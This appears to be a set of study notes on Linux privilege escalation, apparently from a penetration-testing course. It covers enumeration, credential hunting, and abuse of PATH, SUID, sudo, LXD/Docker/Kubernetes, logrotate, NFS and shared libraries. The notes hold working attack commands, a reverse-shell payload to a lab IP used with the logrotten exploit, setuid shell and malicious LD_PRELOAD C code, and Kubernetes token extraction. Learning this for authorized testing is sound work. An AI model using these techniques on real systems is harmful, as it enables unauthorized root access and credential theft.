The root account on Linux systems provides full administrative level access to the operating system.\

Services and Internals

Enumerate networking internals.

# network interfaces
ip a
 
# hosts
cat /etc/hosts

It can also be helpful to view each user’s last login time to try to see when users typically log in to the system.

lastlog

View the currently logged in users.

w

Check the current’s user bash history. Might include passwords from arguments in the command line.

history
 
# find history files
find / -type f \( -name *_hist -o -name *_history \) -exec ls -l {} \; 2>/dev/null

The proc filesystem is a particular filesystem in Linux that contains information about system processes, hardware, and other system information. Primary way to access process information and can be used to view or modify kernel settings. Dynamically generated by the kernel.

find /proc -name cmdline -exec cat {} \; 2>/dev/null | tr " " "\n"

In slightly older version of Linux it is likely that installed packages are vulnerable. Binaries may also be directly installed.

# view installed packages
apt list --installed | tr "/" " " | cut -d" " -f1,3 | sed 's/[0-9]://g' | tee -a installed_pkgs.list
 
# check sudo version
sudo -V
 
# binaries
ls -l /bin /usr/bin /usr/sbin

GTFObins provides a list of binaries that can be exploited to escalate privileges.

for i in $(curl -s https://gtfobins.org/api.json | jq -r '.executables | keys[]'); do if grep -q "$i" installed_pkgs.list; then echo "Check for GTFO: $i";fi; done

We may also track and analyze system calls and signal processing to follow the flow of a program and understand how it accesses system resources, processes signals, etc. We can also monitor requests to remote hosts using passwords or tokens.

strace ping -c1 10.129.112.20

We may also want to track configuration files, scripts, and running services by user.

# configuration files
find / -type f \( -name *.conf -o -name *.config \) -exec ls -l {} \; 2>/dev/null
 
# scripts
find / -type f -name "*.sh" 2>/dev/null | grep -v "src\|snap\|share"
 
# running services by user
ps aux | grep root

Credential Hunting

Credentials are useful for escalating to other other users or even root.

The /var directory contains the web root for whatever web server is running on the host, and therefore may contain credentials.

A common example is MySQL database credentials

grep 'DB_USER\|DB_PASSWORD' wp-config.php
 
# spool or mail directories
find / ! -path "*/proc/*" -iname "*config*" -type f 2>/dev/null

Locating SSH private keys is also a useful target as private keys will allow us to connect back to the machine as a more privileged user. The known_hosts file specifies all public keys for all the hosts which the user has connected to in the past.

ls ~/.ssh

PATH

An environment variable that specifies the set of directories where an executable can be located. Set of absolute paths allowing a user to type a command without specifying the absolute path to the binary.

# check the contents of PATH
echo $PATH

Any script or program in a directory specified in the PATH will make it executable from any directory on the system.

Adding a . to a user’s PATH adds their current working directory to the list. If we can modify a user’s path we could replace common binaries with a malicious script.

PATH=.:${PATH}
export PATH
echo $PATH
 
# modfy the path to run a command
touch ls
echo 'echo "PATH ABUSE!!' > ls
chmod +x ls

Wilcard

A wildcard character is a replacement for other characters and are intepreted by the shell before other actions.

CharacterSignificance
*An asterisk that can match any number of characters in a file name.
?Matches a single character.
[ ]Brackets enclose characters and can match any single one at the defined position.
~A tilde at the beginning expands to the name of the user home directory or can have another username appended to refer to that user’s home directory.
-A hyphen within brackets will denote a range of characters.
If a cron job for example uses a wildcard operator in it’s command we can inject certain commands into it to get it to run other parameters by injecting the commands into the filenames the wildcard operator accesses.

Restricted Shells

A restricted shell limits the user’s ability to execute commands. The user is only allowed to execute a specific set of commands or only allowed to execute commands in specific directories. Some common examples of restricted shells

  • rbash is a restricted version of a bash shell that limits user of certain features like changing directories, setting or modifying environment variables, etc.
  • rksh restricted version of the Korn Shell.
  • rzsh restricted version of the Z shell.

Escaping can be done via several techniques

  • Command Injection: given the command ls for instance we can use a specific set of arguments to force the ls command to execute other ones, such as
ls -l `pwd`
  • Command substitution involves using the shell’s command subsititution syntax to execute a command. A shell might allow a user to execute command by enclosing them in backticks.
  • Command Chaining involes using shell metacharacters (; or |) to execute a command.
  • Environment Variables involve modifying or creating environment variables that the shell uses to execute commands that are not restricted by the shell.
  • Shell functions involve creating and calling shell functions that execute commands not restricted by the shell.

Permissions

The Set User ID Upon Execution (setuid) permission can allow a user to execute a program or script with the permissions of another user, typically with elevated privileges.

# the setuid bit appears as an `s`
find / -user root -perm -4000 -exec ls -ldb {} \; 2>/dev/null

Set-Group-ID (setgid) permissions is another special permission that allows us to run binaries as if we were part of the group that created them.

find / -user root -perm -6000 -exec ls -ldb {} \; 2>/dev/null

Sudo Rights

Sudo privileges can be granted to an account allowing the account to run certain commands in the context of the root (or other account). The system checks if the command issues has the appropriate rights, as configured in /etc/sudoers. Any entry with NOPASSWD option can be seen without entering a password.

# view sudo privileges of current user
sudo -l

Oftentimes accounts given this permission can use it to execute commands with the root context.

Privileged Groups

LXD group is similar to Docker and is Ubuntu’s container manager. All users are added to the LXD group. It can be used to esclate privileges by creating an LXD container, making it privileged, and then accessing the host file system at /mnt/root.

# confirm group membership
id
 
# unzip alpine image
unzip alpine.zip
 
# start the lxd initialization process
lxd init
 
# import local image
lxc image import alpine.tar.gz alpine.tar.gz.root --alias alpine
 
# start a privileged container
lxc init alpine r00t -c security.privileged=true
 
# mount the host file system
lxc config device add r00t mydev disk source=/ path=/mnt/root recursive=true
 
# spawn a shell inside the container instance
lxc start r00t
lxc exec r00t /bin/sh

The same goes for placing a user in the docker group. The user can escalate privileges via a privileged docker container.

# create new docker instance with /root directory on the host file system mounted as a volume
docker run -v /root:/mnt -it ubuntu

Users within the disk group have full access to any devices contained within /dev. An attacker can use debugfs to access the entire file system with root privileges.

Users with the adm group have full access to read all logs in /var/log.

Capabilities

Security feature in the Linux operating system that allows specific privileges to be granted to processes, allowing them to perform specific actions that would otherwise be restricted. If processes are not properly isolated or sandboxed, we can escalate their privileges. Processes may also have more privileges than they need.

# set the capability for an executable
sudo setcap cap_net_bind_service=+ep /usr/bin/vim.basic

In the command above we allowed the binary to bind to network ports, which is usually restricted.

CapabilityDescription
cap_sys_adminAllows to perform actions with administrative privileges, such as modifying system files or changing system settings.
cap_sys_chrootAllows to change the root directory for the current process, allowing it to access files and directories that would otherwise be inaccessible.
cap_sys_ptraceAllows to attach to and debug other processes, potentially allowing it to gain access to sensitive information or modify the behavior of other processes.
cap_sys_niceAllows to raise or lower the priority of processes, potentially allowing it to gain access to resources that would otherwise be restricted.
cap_sys_timeAllows to modify the system clock, potentially allowing it to manipulate timestamps or cause other processes to behave in unexpected ways.
cap_sys_resourceAllows to modify system resource limits, such as the maximum number of open file descriptors or the maximum amount of memory that can be allocated.
cap_sys_moduleAllows to load and unload kernel modules, potentially allowing it to modify the operating system’s behavior or gain access to sensitive information.
cap_net_bind_serviceAllows to bind to network ports, potentially allowing it to gain access to sensitive information or perform unauthorized actions
When setting capabilities some options can be included such as
Capability ValuesDescription
=This value sets the specified capability for the executable, but does not grant any privileges. This can be useful if we want to clear a previously set capability for the executable.
+epThis value grants the effective and permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability.
+eiThis value grants sufficient and inheritable privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows and child processes spawned by the executable to inherit the capability and perform the same actions.
+pThis value grants the permitted privileges for the specified capability to the executable. This allows the executable to perform the actions that the capability allows but does not allow it to perform any actions that are not allowed by the capability. This can be useful if we want to grant the capability to the executable but prevent it from inheriting the capability or allowing child processes to inherit it.
To enumerate the capabilities we can
find /usr/bin /usr/sbin /usr/local/bin /usr/local/sbin -type f -exec getcap {} \;

Vulnerable Services

Services, if running in an elevated context can be used to escalate privileges.

Cron Job

Cron Jobs are used for administrative tasks such as running backups, cleaning up directories, etc. The crontab command can create a cron file (in /var/spool/cron) for the specific user that creates it.

Each entry requires minutes, hours, days, months, weeks, commands

Entry 0 */12 * * * /home/admin/backup.sh would run every 12 hours.

The root crontab is almost always only editable by the root user or user will full sudo privileges.

Certain applications create cron files in the /etc/cron.d directory and may be misconfigured to allow non-root user to edit them.

We will often try to modify the program or script that a cron jobs is running to escalate privileges.

Containers

Containers operate at the OS level and virtual machines at the hardware level. Containers share an OS and isolate application processes from the rest of the system.

Linux Containers (LXC) is an OS-level virtualization technique that allows multiple Linux systems to run in isolation from each other. LXC consume fewer resources than a virtual machine and have a standard interface.

The Linux Daemon (LXD) is similar in respects and is designed to contain a complete OS. It is not a application container but a system container. To escalate our privileges we must thus either use the lxc or lxd group.

Usually administrators will use templates that have little to no security.

#  import container as an image
lxc image import ubuntu-template.tar.xz --alias ubuntutemp
lxc image list
 
# initiate the image and configure it
## disable isolation and allow action on host
lxc init ubuntutemp privesc -c security.privileged=true
 
lxc config device add privesc host-root disk source=/ path=/mnt/root recursive=true
 
# start container
lxc start privesc
 
# access the resource of the host system as root
lxc exec privesc /bin/bash

Docker

Provides portable and consistent runtime environment for software applications using isolated environments in user space at the OS level and share the file system and system resources.

Docker uses a client-server model

  • Docker Daemon
    • Coordinates the creation, execution, and monitoring of Docker containers, maintaining isolation from the host and other containers. Can also capture container logs and provide information about activities etc.
    • Facilitates container networking by creating virtual networks and managing network interfaces. Enables containers to communicate with each other and outside world.
  • Docker client
    • Issues commands via the Docker daemon through a RESTful API or a UNIX Socket.
    • Docker compose is a client tool that simplifies orchestration of multiple Docker containers as a single application.

A docker image is a blueprint for creating containers. Encapsulates everything needed to run an application via a Dockerfile.

A Docker container is an instance of a Docker image.

Docker shared directories can bridge the gap between the host system and the container’s filesystem. When mounted as read-only, modifications made within the container won’t affect the host system, which is useful when read-only access is preferred.

Docker sockets is a special file that allows us and processes to communicate with the Docker daemon. When we issue a command through the Docker CLI, the Docker client sends the command to the Docker socket, and the Docker daemon processes the command carries out the actions. Docker sockets require permissions to ensure secure communication. Access to the socket is usually restricted. The socket may be bound to a network interface making it remotely accessible to remotely manage Docker hosts.

# bind to a network interface
wget https://<parrot-os>:443/docker -O docker
chmod +x docker
docker -H unix:////app/docker.sock ps
 
# priv esc through the socket by creating a new container and mount the root filesystem at /hostsystem
/tmp/docker -H unix:///app/docker.sock run --rm -d --privileged -v /:/hostsystem main_app
/tmp/docker -H unix:///app/docker.sock ps
/tmp/docker -H unix:///app/docker.sock exec -it 7ae3bcc818af /bin/bash

If the user logged in is part of the docker group, this allows him control of the Docker daemon. Same goes for if docker has the SUID set or we are in the Sudoers file.

# view which images exist
docker image ls

If the Docker socket is writable we can escalate via the socket

docker -H unix:///var/run/docker.sock run -v /:/mnt --rm -it ubuntu chroot /mnt bash

Kubernetes

Container orchestration system, which functions by running all applications in containers isolated from the host system through multiple layers of protections.

Revolves around pods which can hold one or more connected containers. Each pod functions as a separate virtual machine on a node.

Kubernetes architecture is divided into

  • Control Plane (master node) which is responsible for controlling the Kubernetes cluster composed of
ServiceTCP Ports
etcd2379, 2380
API server6443
Scheduler10251
Controller Manager10252
Kubelet API10250
Read-Only Kubelet API10255
  • Work Nodes (minion) where the containerized applications can run. The scheduler based on the API server, understand the state of the cluster and schedules new pods on the nodes.

The Kubernetes API is the main point of contact for all internal and external interactions. Handles RESTful requests for modifying the system’s state.

Kubernetes supports many forms of authentication (certificates, bearer tokens, authenticating proxy, HTTP basic auth, etc.). K8S enforces RBAC to specify which users or group have access to resources.

# API server interaction
curl https://10.129.10.11:6443 -k
 
# extracting pods
curl https://10.129.10.11:10250/pods -k | jq .
# or more precise
kubeletctl -i --server 10.129.10.11 pods
 
# scan available commands
kubeletctl -i --server 10.129.10.11 scan rce
 
# execute commands
kubeletctl -i --server 10.129.10.11 exec "id" -p nginx -c nginx

To escalate privileges we must obtain the Kubernetes service account’s token and certificate from the server.

# extract tokens
kubeletctl -i --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/token" -p nginx -c nginx | tee -a k8.token
 
# extract certificates
kubeletctl --server 10.129.10.11 exec "cat /var/run/secrets/kubernetes.io/serviceaccount/ca.crt" -p nginx -c nginx | tee -a ca.crt
 
# list privileges
export token=`cat k8.token`
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.10.11:6443 auth can-i --list

We must create a container to mount the entire filesystem via a YAML file

apiVersion: v1
kind: Pod
metadata:
  name: privesc
  namespace: default
spec:
  containers:
  - name: privesc
    image: nginx:1.14.2
    volumeMounts:
    - mountPath: /root
      name: mount-root-into-mnt
  volumes:
  - name: mount-root-into-mnt
    hostPath:
       path: /
  automountServiceAccountToken: true
  hostNetwork: true
# create new pod
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 apply -f privesc.yaml
 
kubectl --token=$token --certificate-authority=ca.crt --server=https://10.129.96.98:6443 get pods

LogRotate

Linux systems produce a lot of logs, to prevent the hard disk from overflowing logrotate archives and disposes old logs. It is usually started periodically with cron controlled via /etc/logrotate.conf. We can find corresponding configuration files in /etc/logrotate.d

To priv esc we must have

  • write permissions on the log files.
  • logrotate run as a privileged user or root
  • vulnerable versions (3.8.6, 3.11.0, 3.15.0, 3.18.0)

If these requirements are met we can use logrotten

git clone https://github.com/whotwagner/logrotten.git
cd logrotten
gcc logrotten.c -o logrotten
 
# add a payload to be executed
echo 'bash -i >& /dev/tcp/10.10.14.2/9001 0>&1' > payload
 
# determine which option logrotate uses
grep "create\|compress" /etc/logrotate.conf | grep -v "#"
 
# run exploit
./logrotten -p ./payload /tmp/tmp.log

NFS Privileges

Network File System (NFS) allows users to access shareds files or directories over the network hosted on Linux systems. Uses TCP/UDP port 2049. Accessible via

# list NFS server's export list
showmount -e 10.129.2.12

When an NFS volume is created, two options can be set

  • root_squash , all files created by the root user will be transfered to the nfsnobody user which prevents an attacker from uploading binaries with SUID bit set.
  • no_root_squash remote users connecting to the share as local root user will be able to create files o the NFS server as root user.
# check permissions
cat /etc/exports
 
# mount the nfs
sudo mount -t nfs 10.129.2.12:/tmp /mnt
cp shell /mnt
# set SUID bit
chmod u+s /mnt/shell
#include <stdio.h>
#include <sys/types.h>
#include <unistd.h>
#include <stdlib.h>
 
int main(void)
{
  setuid(0); setgid(0); system("/bin/bash");
}
# simple c shell starter
gcc shell.c -o shell

Tmux

A terminal multiplexer allowing multiple terminal sessions to be accessed within a single console session. When not working in a tmux window, we can detach from the session, still leaving it active as a privileged user.

# create new shared session and modify ownership
tmux -S /shareds new -s debugsess
chown root:devs /shareds
 
# check for tmux process
ps aux | grep tmux
 
# attach to the tmux session
tmux -S /shareds

Kernel Exploits

Kernel level exploits exist for a variety of Linux kernel versions. Leverage vulnerabilities in the kernel to execute code with root privileges.

# check kernel version
uname -a
# or
cat /etc/lsb-release

Shared Libraries

Linux programs often use dynamically linked shared object libraries. They contain compiled code or other data that developers used to avoid having to re-write the same code over multiple programs. There exists

  • static libraries denoted with .a that become part of the program and cannot be altered
  • dynamically linked shared object denoted with .so can be modified to control the execution of the program that calls them.

To specify location of the dynamic libraries we can use the -rpath or -rpath-link flags when compiling a program or using the environment libraries LD_RUN_PATH or LD_LIBRARY_PATH, placing libraries in the /lib or /usr/lib default directories, or specifying another directory containing the libraries within /etc/ld.so.conf configuration file.

The LD_PRELOAD environment variable can load a library before executing a binary.

# view shared objects
ldd /bin/ls
 
# view LD_PRELOAD 
sudo -l
 
# compile a malicious library file
gcc -fPIC -shared -o root.so root.c -nostartfiles
 
# specify the malicious library file
sudo LD_PRELOAD=/tmp/root.so /usr/sbin/apache2 restart

Compile and run a custom shared library file.

#include <stdio.h>
#include <sys/types.h>
#include <stdlib.h>
#include <unistd.h>
 
void _init() {
unsetenv("LD_PRELOAD");
setgid(0);
setuid(0);
system("/bin/bash");
}

Shared Object Hijacking

Programs and binaries usually have custom libraries associated with them. We can view the location of the object and the hexadecimal address where it is loaded into memory for each programs dependencies

ldd payroll
 
# inspect the binaries RUNPATH configuration
readelf -d payroll | grep PATH

RUNPATH allows the loading of libraries from the specified directory. A malicious library can be placed in such directory and will take precedence over other folders because entries in this file are checked first.

Python Library Hijacking

Python libraries can be vulnerable to hijacking. If the library has specified the wrong write permissions we can edit the python module to produce the results we want.

Another vulnerability is if an imported module is located in a path lower on the list and a higher priority path is editable by our user.

python3 -c 'import sys; print("\n".join(sys.path))'

The PYTHONPATH environment variable we checked previously indicates what directory Python can search for modules to import, if we can set this variable while running the Python library we can redirect Python’s search functionality to a user-defined location.

# check sudo permissions to see if we are allowed to set environment variables
sudo -l
 
# set the PYTHONPATH environment variable
sudo PYTHONPATH=/tmp/ /usr/bin/python3 ./mem_status.py

Sudo

The program sudo is used for UNIX systems to start processes with the rights of another user, usually it is only available to administrators. The /etc/sudoers file specifies which file users or groups are allowed to run specific programs.

sudo cat /etc/sudoers | grep -v "#" | sed -r '/^\s*$/d'

sudo has been subject to vulnerabilities such as CVE-2021-3156. To check the version we can

sudo -V

Polkit

PolicyKit (polkit) is an authorization service on Linux-based operation systems that allows user software and system components to communicate with each other if the user software is authorized to do so. Polkit works with two groups of files

  • actions/policies (/usr/share/polkit-1/actions)
  • rules (/usr/share/polkit-1/rules.d)
    • local authority rules which can be set or remove additional permissions for users and groups.

Polkit also comes with 3 additional programs

  • pkexec - runs a program with the rights of another user or with root rights
  • pkaction - can be used to display actions
  • pkcheck - this can be used to check if a process is authorized for a specific action

pkexec performs the same task as sudo. pkexec has been vulnerable to exploits recently.

Dirty Pipe

A vulnerability in the Linux kernel that allows unauthorized writing to root users file on Linux. All kernel version from 5.8 to 5.17 are vulnerable.